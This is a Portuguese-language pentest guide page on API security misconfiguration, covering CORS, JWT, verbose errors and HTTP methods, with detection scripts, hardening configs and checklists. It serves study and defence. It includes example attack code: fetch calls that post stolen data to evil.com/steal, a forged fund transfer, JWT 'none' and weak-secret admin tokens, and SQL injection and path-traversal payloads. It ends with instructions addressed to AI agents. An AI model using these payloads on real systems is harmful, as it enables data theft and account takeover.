# Security Misconfiguration

***

## **🔍 Fundamentos da Security Misconfiguration**

### **O que é Security Misconfiguration**

Security Misconfiguration ocorre quando componentes de segurança não são implementados, configurados ou mantidos adequadamente, expondo a aplicação a vulnerabilidades.

### **Características em APIs**

```
✅ Configurações padrão não alteradas
✅ Serviços desnecessários expostos
✅ Permissões excessivas
✅ Logs e debug habilitados
✅ Headers de segurança ausentes
```

### **Fluxo de Exploração Típico**

```mermaid
graph TD
    A[Reconhecimento da API] --> B[Identificação de Misconfigurations]
    B --> C{Análise de Configurações}
    C --> D[Headers de Segurança]
    C --> E[Permissões de Acesso]
    C --> F[Serviços Expostos]
    C --> G[Informações Sensíveis]
    
    D --> H[Exploração de CORS]
    E --> I[Elevação de Privilégio]
    F --> J[Ataque a Serviços]
    G --> K[Coleta de Informações]
    
    H --> L[Comprometimento]
    I --> L
    J --> L
    K --> L
```

***

## **🎯 Tipos de Misconfigurations em APIs**

### **Categoria 1: Configurações HTTP/Headers**

#### **1.1 CORS Misconfiguration**

```javascript
// CORS PERIGOSO - Permite qualquer origem
app.use(cors({
    origin: '*',
    credentials: true
}));

// CORS VULNERÁVEL - Regex mal configurado
app.use(cors({
    origin: /.*\.example\.com$/,
    credentials: true
}));

// EXPLORAÇÃO
fetch('https://api.alvo.com/data', {
    method: 'GET',
    credentials: 'include'
}).then(response => response.json())
  .then(data => {
      // Exfiltrar para atacante
      fetch('https://evil.com/steal', {
          method: 'POST',
          body: JSON.stringify(data)
      });
  });
```

#### **1.2 Security Headers Ausentes**

```http
# HEADERS AUSENTES - API vulnerável
HTTP/1.1 200 OK
Content-Type: application/json

{
    "data": "sensitive"
}

# HEADERS SEGUROS - API protegida
HTTP/1.1 200 OK
Content-Type: application/json
Strict-Transport-Security: max-age=31536000; includeSubDomains
X-Content-Type-Options: nosniff
X-Frame-Options: DENY
X-XSS-Protection: 1; mode=block
Content-Security-Policy: default-src 'none'
Referrer-Policy: no-referrer
Permissions-Policy: geolocation=(), microphone=()
```

### **Categoria 2: Autenticação e Autorização**

#### **2.1 JWT Misconfiguration**

```javascript
// JWT VULNERÁVEL - Chave fraca ou padrão
const jwt = require('jsonwebtoken');

// Chave fraca
const weakSecret = 'secret123';

// Algoritmo none permitido
const vulnerableToken = jwt.sign({ user: 'admin' }, null, { algorithm: 'none' });

// Sem expiração
const noExpire = jwt.sign({ user: 'admin' }, weakSecret); // Sem exp

// EXPLORAÇÃO
// Quebrar JWT com chave fraca
// Usar algoritmo none
// Reutilizar tokens expirados
```

#### **2.2 Excessive Permissions**

```yaml
# AWS IAM - Permissões excessivas
{
    "Effect": "Allow",
    "Action": [
        "s3:*",
        "ec2:*",
        "lambda:*"
    ],
    "Resource": "*"
}

# API Endpoints - Falta de rate limiting
POST /api/v1/password/reset
# Sem limites de tentativas
```

### **Categoria 3: Exposição de Informações**

#### **3.1 Verbose Error Messages**

```json
// RESPOSTA VERBOSA - Perigosa
{
    "error": {
        "message": "SQL Syntax Error: SELECT * FROM users WHERE id = 'invalid'",
        "code": "1064",
        "stack": "at Query.SELECT (...)",
        "database": "production_db",
        "user": "db_admin"
    }
}

// RESPOSTA SEGURA
{
    "error": {
        "message": "Invalid request",
        "code": "400"
    }
}
```

#### **3.2 Directory Listing e Debug**

```http
# DIRECTORY LISTING HABILITADO
GET /api/v1/debug/ HTTP/1.1

HTTP/1.1 200 OK
Content-Type: text/html

<!DOCTYPE html>
<html>
<head><title>Index of /api/v1/debug/</title></head>
<body>
<h1>Index of /api/v1/debug/</h1>
<ul>
<li><a href="config.json">config.json</a></li>
<li><a href="database.backup">database.backup</a></li>
<li><a href="logs/">logs/</a></li>
</ul>
</body>
</html>
```

### **Categoria 4: Configurações de Servidor**

#### **4.1 HTTP Methods Perigosos**

```http
# OPTIONS REVEALING METHODS
OPTIONS /api/v1/users HTTP/1.1
Host: api.alvo.com

HTTP/1.1 200 OK
Allow: GET, POST, PUT, DELETE, PATCH, HEAD, OPTIONS, TRACE

# TRACE METHOD ENABLED
TRACE /api/v1/admin HTTP/1.1
Host: api.alvo.com
Cookie: session=secret

HTTP/1.1 200 OK
Content-Type: message/http

TRACE /api/v1/admin HTTP/1.1
Host: api.alvo.com
Cookie: session=secret
```

#### **4.2 Version Exposure**

```http
# SERVER BANNER INFORMATION
HTTP/1.1 200 OK
Server: nginx/1.18.0 (Ubuntu)
X-Powered-By: Express
X-AspNet-Version: 4.0.30319
X-Runtime: Ruby/2.7.1

# API VERSION IN HEADERS
API-Version: 2.1.0
X-API-Version: v1-deprecated
```

***

## **🔎 Metodologia de Identificação**

### **Fase 1: Reconhecimento da API**

#### **1.1 Endpoint Discovery**

```bash
# Ferramentas de descoberta
gobuster dir -u https://api.alvo.com -w /path/to/wordlist
ffuf -w wordlist.txt -u https://api.alvo.com/FUZZ

# Busca por endpoints comuns
/common
/api
/v1
/v2
/graphql
/rest
/soap
/swagger
/openapi
```

#### **1.2 API Documentation Analysis**

```javascript
// Buscar documentação exposta
const commonDocs = [
    '/swagger-ui.html',
    '/swagger.json',
    '/api-docs',
    '/openapi.json',
    '/redoc',
    '/graphql',
    '/graphiql',
    '/playground'
];

// Verificar robots.txt
fetch('/robots.txt')
    .then(r => r.text())
    .then(data => {
        console.log('Robots.txt:', data);
    });
```

### **Fase 2: Análise de Configurações**

#### **2.1 Security Headers Check**

```javascript
// Analisador de Headers de Segurança
async function analyzeSecurityHeaders(url) {
    const response = await fetch(url);
    const headers = response.headers;
    
    const securityHeaders = {
        'Strict-Transport-Security': headers.get('Strict-Transport-Security'),
        'X-Content-Type-Options': headers.get('X-Content-Type-Options'),
        'X-Frame-Options': headers.get('X-Frame-Options'),
        'X-XSS-Protection': headers.get('X-XSS-Protection'),
        'Content-Security-Policy': headers.get('Content-Security-Policy'),
        'Referrer-Policy': headers.get('Referrer-Policy'),
        'Permissions-Policy': headers.get('Permissions-Policy'),
        'Server': headers.get('Server'),
        'X-Powered-By': headers.get('X-Powered-By')
    };
    
    return securityHeaders;
}

// Uso
analyzeSecurityHeaders('https://api.alvo.com')
    .then(headers => console.table(headers));
```

#### **2.2 CORS Configuration Testing**

```javascript
// Testador de Configurações CORS
async function testCORS(apiUrl, origin = 'https://evil.com') {
    try {
        const response = await fetch(apiUrl, {
            method: 'OPTIONS',
            headers: {
                'Origin': origin,
                'Access-Control-Request-Method': 'GET'
            }
        });
        
        const corsHeaders = {
            'Access-Control-Allow-Origin': response.headers.get('Access-Control-Allow-Origin'),
            'Access-Control-Allow-Credentials': response.headers.get('Access-Control-Allow-Credentials'),
            'Access-Control-Allow-Methods': response.headers.get('Access-Control-Allow-Methods'),
            'Access-Control-Allow-Headers': response.headers.get('Access-Control-Allow-Headers')
        };
        
        return {
            url: apiUrl,
            origin: origin,
            headers: corsHeaders,
            vulnerable: corsHeaders['Access-Control-Allow-Origin'] === '*' || 
                       corsHeaders['Access-Control-Allow-Origin'] === origin
        };
    } catch (error) {
        return { error: error.message };
    }
}

// Testar múltiplas origens
const testOrigins = [
    'https://evil.com',
    'http://localhost',
    'null',
    'https://attacker.example.com',
    'https://alvo.com.attacker.com'
];
```

***

## **⚔️ Técnicas de Exploração**

### **Técnica 1: CORS Exploitation**

#### **1.1 Credentialed CORS Attack**

```html
<!-- Página do atacante em evil.com -->
<script>
fetch('https://api.alvo.com/user/profile', {
    method: 'GET',
    credentials: 'include'  // Inclui cookies de sessão
})
.then(response => response.json())
.then(data => {
    // Exfiltrar dados sensíveis
    fetch('https://evil.com/steal', {
        method: 'POST',
        body: JSON.stringify(data)
    });
});
</script>
```

#### **1.2 CORS with Wildcard Subdomains**

```javascript
// Se CORS permite *.alvo.com
// Criar subdomínio malicious.alvo.com.attacker.com

// Exploração
fetch('https://api.alvo.com/data', {
    headers: {
        'Origin': 'https://alvo.com.attacker.com'
    }
});
```

### **Técnica 2: JWT Attacks**

#### **2.1 Algorithm Confusion**

```python
import jwt
import hmac

# Algoritmo confusion attack
def create_malicious_token(secret):
    # Forçar algoritmo HS256 com chave pública
    header = {"alg": "HS256", "typ": "JWT"}
    payload = {"user": "admin", "admin": True}
    
    token = jwt.encode(payload, secret, algorithm="HS256", headers=header)
    return token

# Se a API usa chave pública para verificar RS256
# mas aceita tokens HS256, podemos usar a chave pública como segredo
```

#### **2.2 JWT None Algorithm**

```javascript
// Explorar algoritmo "none"
const maliciousToken = jwt.sign(
    { user: 'admin', admin: true },
    null,
    { algorithm: 'none' }
);

// Enviar token sem assinatura
fetch('/api/admin', {
    headers: {
        'Authorization': `Bearer ${maliciousToken}`
    }
});
```

### **Técnica 3: Information Disclosure**

#### **3.1 Error-based Information Leakage**

```http
# Explorar mensagens de erro verbosas
POST /api/v1/users/login HTTP/1.1
Content-Type: application/json

{
    "username": "admin' OR '1'='1",
    "password": "anything"
}

# Resposta pode revelar:
# - Estrutura de banco de dados
# - Nomes de tabelas
# - Stack traces
# - Credenciais
```

#### **3.2 Directory Traversal via API**

```http
# Tentativa de path traversal
GET /api/v1/files?name=../../../etc/passwd HTTP/1.1

GET /api/v1/backup?file=../../config/database.yml HTTP/1.1

# Explorar backup files
GET /api/v1/export?format=sql HTTP/1.1
```

### **Técnica 4: HTTP Method Abuse**

#### **4.1 TRACE/TRACK Methods**

```javascript
// TRACE method pode refletir headers sensíveis
fetch('https://api.alvo.com/admin', {
    method: 'TRACE',
    credentials: 'include'
})
.then(r => r.text())
.then(data => {
    // Headers podem conter cookies, tokens
    console.log('TRACE Response:', data);
});
```

#### **4.2 HTTP Method Override**

```http
# Bypass de firewalls com method override
POST /api/v1/admin/users HTTP/1.1
X-HTTP-Method-Override: DELETE
Content-Type: application/json

{"user_id": "all"}

# Ou via query parameter
POST /api/v1/admin/users?_method=DELETE HTTP/1.1
```

***

## **🛠️ Ferramentas de Detecção**

### **Ferramenta 1: API Security Scanner**

```python
#!/usr/bin/env python3
# api_misconfig_scanner.py

import requests
import json
import urllib3
from urllib.parse import urljoin
import sys

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

class APIMisconfigScanner:
    def __init__(self, base_url):
        self.base_url = base_url
        self.session = requests.Session()
        self.session.verify = False
        self.findings = []
    
    def check_security_headers(self):
        """Verificar headers de segurança"""
        try:
            response = self.session.get(self.base_url)
            headers = response.headers
            
            security_checks = {
                'HSTS': 'Strict-Transport-Security' in headers,
                'X-Content-Type-Options': headers.get('X-Content-Type-Options') == 'nosniff',
                'X-Frame-Options': 'X-Frame-Options' in headers,
                'X-XSS-Protection': 'X-XSS-Protection' in headers,
                'Content-Security-Policy': 'Content-Security-Policy' in headers,
                'Server-Info': 'Server' in headers or 'X-Powered-By' in headers
            }
            
            for check, result in security_checks.items():
                if not result:
                    self.findings.append({
                        'type': 'MISSING_SECURITY_HEADER',
                        'severity': 'MEDIUM',
                        'description': f'Header de segurança ausente: {check}',
                        'url': self.base_url
                    })
            
            # Verificar informações de servidor
            server_info = headers.get('Server') or headers.get('X-Powered-By')
            if server_info:
                self.findings.append({
                    'type': 'SERVER_INFO_DISCLOSURE',
                    'severity': 'LOW',
                    'description': f'Informações do servidor expostas: {server_info}',
                    'url': self.base_url
                })
                
        except Exception as e:
            print(f"Erro ao verificar headers: {e}")
    
    def test_cors_configuration(self):
        """Testar configurações CORS"""
        origins_to_test = [
            'https://evil.com',
            'http://localhost',
            'null',
            'https://attacker.example.com'
        ]
        
        for origin in origins_to_test:
            try:
                response = self.session.options(self.base_url, headers={
                    'Origin': origin,
                    'Access-Control-Request-Method': 'GET'
                })
                
                allow_origin = response.headers.get('Access-Control-Allow-Origin')
                allow_credentials = response.headers.get('Access-Control-Allow-Credentials')
                
                if allow_origin == '*' and allow_credentials == 'true':
                    self.findings.append({
                        'type': 'CORS_MISCONFIGURATION',
                        'severity': 'HIGH',
                        'description': f'CORS permite qualquer origem com credenciais: {origin}',
                        'url': self.base_url
                    })
                elif allow_origin == origin:
                    self.findings.append({
                        'type': 'CORS_ORIGIN_REFLECTION',
                        'severity': 'HIGH',
                        'description': f'CORS reflete origem: {origin}',
                        'url': self.base_url
                    })
                    
            except Exception as e:
                print(f"Erro ao testar CORS para {origin}: {e}")
    
    def check_http_methods(self):
        """Verificar métodos HTTP perigosos"""
        dangerous_methods = ['PUT', 'DELETE', 'TRACE', 'TRACK', 'CONNECT']
        
        try:
            response = self.session.options(self.base_url)
            allow_header = response.headers.get('Allow', '')
            
            for method in dangerous_methods:
                if method in allow_header:
                    self.findings.append({
                        'type': 'DANGEROUS_HTTP_METHOD',
                        'severity': 'MEDIUM',
                        'description': f'Método HTTP perigoso permitido: {method}',
                        'url': self.base_url
                    })
                    
        except Exception as e:
            print(f"Erro ao verificar métodos HTTP: {e}")
    
    def discover_endpoints(self):
        """Descobrir endpoints comuns"""
        common_endpoints = [
            '/api/v1',
            '/api/v2',
            '/graphql',
            '/rest',
            '/swagger-ui.html',
            '/swagger.json',
            '/api-docs',
            '/debug',
            '/admin',
            '/backup',
            '/logs',
            '/.git',
            '/.env'
        ]
        
        for endpoint in common_endpoints:
            url = urljoin(self.base_url, endpoint)
            try:
                response = self.session.get(url)
                if response.status_code != 404:
                    self.findings.append({
                        'type': 'ENDPOINT_DISCOVERED',
                        'severity': 'INFO',
                        'description': f'Endpoint encontrado: {endpoint} (Status: {response.status_code})',
                        'url': url
                    })
                    
            except Exception as e:
                print(f"Erro ao verificar {endpoint}: {e}")
    
    def scan(self):
        """Executar scan completo"""
        print(f"🔍 Iniciando scan em: {self.base_url}")
        
        self.check_security_headers()
        self.test_cors_configuration()
        self.check_http_methods()
        self.discover_endpoints()
        
        return {
            'target': self.base_url,
            'findings_count': len(self.findings),
            'findings': self.findings
        }

# Uso
if __name__ == "__main__":
    if len(sys.argv) != 2:
        print("Uso: python api_misconfig_scanner.py <url>")
        sys.exit(1)
    
    scanner = APIMisconfigScanner(sys.argv[1])
    results = scanner.scan()
    print(json.dumps(results, indent=2))
```

### **Ferramenta 2: JWT Analyzer**

```javascript
// Analisador de JWT para console do navegador
class JWTAnalyzer {
    constructor(token) {
        this.token = token;
        this.findings = [];
    }
    
    parseToken() {
        try {
            const parts = this.token.split('.');
            if (parts.length !== 3) {
                throw new Error('Token JWT inválido');
            }
            
            const header = JSON.parse(atob(parts[0]));
            const payload = JSON.parse(atob(parts[1]));
            
            return { header, payload };
        } catch (error) {
            return { error: error.message };
        }
    }
    
    analyze() {
        const { header, payload, error } = this.parseToken();
        
        if (error) {
            return { error };
        }
        
        // Verificar algoritmo
        if (header.alg === 'none') {
            this.findings.push({
                severity: 'HIGH',
                issue: 'ALGORITHM_NONE',
                description: 'Token usa algoritmo "none" - não requer verificação'
            });
        }
        
        if (header.alg === 'HS256') {
            this.findings.push({
                severity: 'MEDIUM',
                issue: 'WEAK_ALGORITHM',
                description: 'Token usa algoritmo simétrico (HS256) - vulnerável a brute force'
            });
        }
        
        // Verificar expiração
        if (!payload.exp) {
            this.findings.push({
                severity: 'MEDIUM',
                issue: 'NO_EXPIRATION',
                description: 'Token não tem data de expiração'
            });
        } else {
            const now = Math.floor(Date.now() / 1000);
            if (payload.exp < now) {
                this.findings.push({
                    severity: 'LOW',
                    issue: 'TOKEN_EXPIRED',
                    description: 'Token expirado'
                });
            }
        }
        
        // Verificar dados sensíveis
        const sensitiveFields = ['password', 'secret', 'private_key', 'key'];
        for (const field of sensitiveFields) {
            if (payload[field]) {
                this.findings.push({
                    severity: 'HIGH',
                    issue: 'SENSITIVE_DATA',
                    description: `Token contém dado sensível: ${field}`
                });
            }
        }
        
        return {
            token: this.token,
            header,
            payload,
            findings: this.findings
        };
    }
}

// Uso
const token = 'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...';
const analyzer = new JWTAnalyzer(token);
console.log(analyzer.analyze());
```

### **Ferramentas Externas**

```bash
# OWASP ZAP
zap-baseline.py -t https://api.alvo.com

# Nuclei
nuclei -u https://api.alvo.com -t misconfiguration/

# testssl.sh
./testssl.sh https://api.alvo.com

# jwt_tool
python3 jwt_tool.py <JWT_TOKEN>

# Corsy
python3 corsy.py -u https://api.alvo.com
```

***

## **💥 Impacto e Cenários Reais**

### **Cenário 1: CORS Misconfiguration em Banco**

```javascript
// API Bancária com CORS vulnerável
app.use(cors({
    origin: 'https://*.banco.com', // Regex vulnerável
    credentials: true
}));

// Exploração
// Registrar dominio: banco.com.attacker.com
fetch('https://api.banco.com/accounts', {
    credentials: 'include'
}).then(data => {
    // Transferir fundos para atacante
    fetch('https://api.banco.com/transfer', {
        method: 'POST',
        credentials: 'include',
        body: { to: 'attacker', amount: 10000 }
    });
});
```

### **Cenário 2: JWT Weak Secret**

```python
# API com segredo JWT fraco
import jwt

# Segredo descoberto via brute force
weak_secret = "secret123"

# Criar token admin
malicious_token = jwt.encode(
    {"user": "admin", "admin": True},
    weak_secret,
    algorithm="HS256"
)

# Acessar endpoints administrativos
headers = {"Authorization": f"Bearer {malicious_token}"}
response = requests.get("https://api.alvo.com/admin/users", headers=headers)
```

### **Cenário 3: Verbose Errors + SQL Injection**

```http
POST /api/v1/users/login HTTP/1.1
Content-Type: application/json

{
    "username": "admin'--",
    "password": "anything"
}

HTTP/1.1 500 Internal Server Error
Content-Type: application/json

{
    "error": {
        "message": "SQLITE_ERROR: no such column: admin'--",
        "query": "SELECT * FROM users WHERE username = 'admin'--' AND password = 'anything'",
        "database": "production.sqlite3"
    }
}
```

### **Impacto Business**

```json
{
  "impacto_alto": [
    "Violação de dados sensíveis",
    "Acesso não autorizado a funcionalidades",
    "Comprometimento de contas de usuário",
    "Exposição de infraestrutura"
  ],
  "impacto_medio": [
    "Coleta de informações para ataques futuros",
    "Degradação de performance",
    "Violação de compliance (GDPR, LGPD)",
    "Danos à reputação"
  ]
}
```

***

## **🛡️ Mitigação e Hardening**

### **Estratégia de Defesa em Camadas**

#### **1. Security Headers Configuration**

```nginx
# Configuração Nginx segura
server {
    listen 443 ssl;
    server_name api.alvo.com;
    
    # Security Headers
    add_header Strict-Transport-Security "max-age=31536000; includeSubDomains" always;
    add_header X-Content-Type-Options "nosniff" always;
    add_header X-Frame-Options "DENY" always;
    add_header X-XSS-Protection "1; mode=block" always;
    add_header Referrer-Policy "strict-origin-when-cross-origin" always;
    add_header Permissions-Policy "geolocation=(), microphone=(), camera=()" always;
    
    # Remover headers sensíveis
    server_tokens off;
    proxy_hide_header X-Powered-By;
    proxy_hide_header Server;
}
```

#### **2. CORS Seguro**

```javascript
// Configuração CORS segura em Express
const cors = require('cors');

const allowedOrigins = [
    'https://app.alvo.com',
    'https://admin.alvo.com'
];

app.use(cors({
    origin: function(origin, callback) {
        // Permitir requests sem origin (mobile apps, curl)
        if (!origin) return callback(null, true);
        
        if (allowedOrigins.indexOf(origin) === -1) {
            const msg = 'The CORS policy for this site does not allow access from the specified Origin.';
            return callback(new Error(msg), false);
        }
        
        return callback(null, true);
    },
    credentials: true,
    methods: ['GET', 'POST', 'PUT', 'DELETE'],
    allowedHeaders: ['Content-Type', 'Authorization']
}));
```

#### **3. JWT Hardening**

```javascript
// JWT Configuration segura
const jwt = require('jsonwebtoken');

const jwtConfig = {
    // Usar algoritmo assimétrico
    algorithm: 'RS256',
    
    // Configurações padrão
    expiresIn: '15m',
    issuer: 'api.alvo.com',
    audience: 'app.alvo.com'
};

// Gerar token
const token = jwt.sign(payload, privateKey, jwtConfig);

// Verificar token
jwt.verify(token, publicKey, {
    algorithms: ['RS256'],
    issuer: 'api.alvo.com',
    audience: 'app.alvo.com'
});
```

### **API Security Hardening**

#### **1. Rate Limiting**

```javascript
const rateLimit = require('express-rate-limit');

const apiLimiter = rateLimit({
    windowMs: 15 * 60 * 1000, // 15 minutos
    max: 100, // Limite de 100 requests por IP
    message: {
        error: 'Too many requests',
        retryAfter: '15 minutes'
    },
    standardHeaders: true,
    legacyHeaders: false
});

app.use('/api/', apiLimiter);

// Limites específicos para endpoints sensíveis
const authLimiter = rateLimit({
    windowMs: 15 * 60 * 1000,
    max: 5, // Apenas 5 tentativas de login
    message: {
        error: 'Too many login attempts',
        retryAfter: '15 minutes'
    }
});

app.use('/api/auth/login', authLimiter);
```

#### **2. Input Validation e Sanitization**

```javascript
const { body, validationResult } = require('express-validator');

app.post('/api/v1/users', [
    // Validação rigorosa
    body('email').isEmail().normalizeEmail(),
    body('username').isAlphanumeric().isLength({ min: 3, max: 20 }),
    body('password').isLength({ min: 8 }).matches(/^(?=.*[a-z])(?=.*[A-Z])(?=.*\d)/),
    body('role').isIn(['user', 'admin']).default('user')
], (req, res) => {
    const errors = validationResult(req);
    if (!errors.isEmpty()) {
        return res.status(400).json({ 
            error: 'Validation failed',
            details: errors.array()
        });
    }
    
    // Processar dados validados
});
```

#### **3. Error Handling Seguro**

```javascript
// Middleware de erro seguro
app.use((error, req, res, next) => {
    // Log detalhado internamente
    console.error('API Error:', {
        message: error.message,
        stack: error.stack,
        url: req.url,
        method: req.method,
        ip: req.ip,
        timestamp: new Date().toISOString()
    });
    
    // Resposta genérica para o cliente
    if (error instanceof ValidationError) {
        return res.status(400).json({
            error: 'Invalid request data'
        });
    }
    
    if (error instanceof AuthenticationError) {
        return res.status(401).json({
            error: 'Authentication failed'
        });
    }
    
    // Erro genérico
    res.status(500).json({
        error: 'Internal server error'
    });
});
```

### **Monitoring e Logging**

#### **1. Security Logging**

```javascript
// Logger de segurança
const securityLogger = (req, res, next) => {
    const start = Date.now();
    
    res.on('finish', () => {
        const duration = Date.now() - start;
        
        // Log eventos de segurança
        if (res.statusCode >= 400) {
            console.warn('Security Event:', {
                timestamp: new Date().toISOString(),
                method: req.method,
                url: req.url,
                status: res.statusCode,
                duration: duration,
                ip: req.ip,
                userAgent: req.get('User-Agent'),
                origin: req.get('Origin')
            });
        }
    });
    
    next();
};

app.use(securityLogger);
```

#### **2. API Security Monitoring**

```yaml
# Configuração de alertas (Exemplo Prometheus)
groups:
- name: api-security
  rules:
  - alert: APIBruteForceAttempt
    expr: rate(api_login_attempts_total{status="failure"}[5m]) > 10
    for: 2m
    labels:
      severity: high
    annotations:
      summary: "Possible brute force attack on API"
      
  - alert: APISuspiciousActivity
    expr: rate(api_requests_total{endpoint=~".*admin.*"}[5m]) > 50
    labels:
      severity: medium
    annotations:
      summary: "High traffic to admin endpoints"
```

***

## **📋 Checklists de Segurança**

### **Checklist de Configuração Segura**

* [ ] **HTTP Security Headers**
  * [ ] HSTS implementado
  * [ ] X-Content-Type-Options: nosniff
  * [ ] X-Frame-Options: DENY
  * [ ] Content-Security-Policy configurado
  * [ ] Headers de servidor removidos
* [ ] **CORS Configuration**
  * [ ] Origens explicitamente definidas
  * [ ] Credenciais apenas quando necessário
  * [ ] Métodos restritos aos necessários
  * [ ] Headers permitidos limitados
* [ ] **Authentication & Authorization**
  * [ ] JWT com algoritmos fortes (RS256)
  * [ ] Tokens com expiração adequada
  * [ ] Rate limiting em endpoints de auth
  * [ ] Validação de escopos e permissões
* [ ] **API Endpoints**
  * [ ] Métodos HTTP restritos
  * [ ] Input validation em todos os endpoints
  * [ ] Error handling seguro
  * [ ] Rate limiting implementado

### **Checklist de Auditoria**

* [ ] **Reconhecimento**
  * [ ] Endpoints descobertos e documentados
  * [ ] Headers de resposta analisados
  * [ ] Configurações CORS testadas
  * [ ] Métodos HTTP permitidos verificados
* [ ] **Testes de Segurança**
  * [ ] JWT tokens analisados
  * [ ] Verbose errors testados
  * [ ] Directory traversal attempts
  * [ ] Information disclosure checks
* [ ] **Configuração de Servidor**
  * [ ] TLS/SSL configuration verificada
  * [ ] Server headers removidos
  * [ ] Unnecessary services disabled
  * [ ] Access logs habilitados

### **Checklist de Monitoramento**

* [ ] **Logging**
  * [ ] Security events logged
  * [ ] Authentication attempts logged
  * [ ] Error logs sem informações sensíveis
  * [ ] Audit trail for admin actions
* [ ] **Monitoring**
  * [ ] Rate limiting monitoring
  * [ ] Suspicious activity detection
  * [ ] API performance monitoring
  * [ ] Error rate monitoring

***

## **⚠️ Considerações Finais**

### **Estatísticas Importantes**

* ⚠️ **68%** das APIs têm misconfigurations de segurança
* ⚠️ **45%** expõem informações sensíveis via headers
* ⚠️ **32%** têm configurações CORS inseguras
* ⚠️ **28%** não implementam rate limiting adequado

### **Lições Aprendidas**

1. **Configurações padrão são perigosas** - Sempre customizar
2. **Princípio do menor privilégio** - Aplicar em todas as camadas
3. **Monitoramento contínuo** é essencial para detecção
4. **Automação de segurança** previne erros humanos

### **Recomendações Finais**

1. **Implemente security headers** em todas as respostas
2. **Configure CORS restritivamente** - whitelist explícita
3. **Use rate limiting** para prevenir abuso
4. **Valide todas as entradas** rigorosamente
5. **Monitore e logue** atividades suspeitas
6. **Revise configurações** regularmente
7. **Automatize testes de segurança** no CI/CD

**🔐 Lembre-se**: Security Misconfiguration é frequentemente a vulnerabilidade mais negligenciada, mas pode ter impactos devastadores. A segurança consistente requer configuração adequada, monitoramento contínuo e revisão regular.


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://0xmorte.gitbook.io/bibliadopentestbr/tecnicas/web/back-end/apis/security-misconfiguration.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
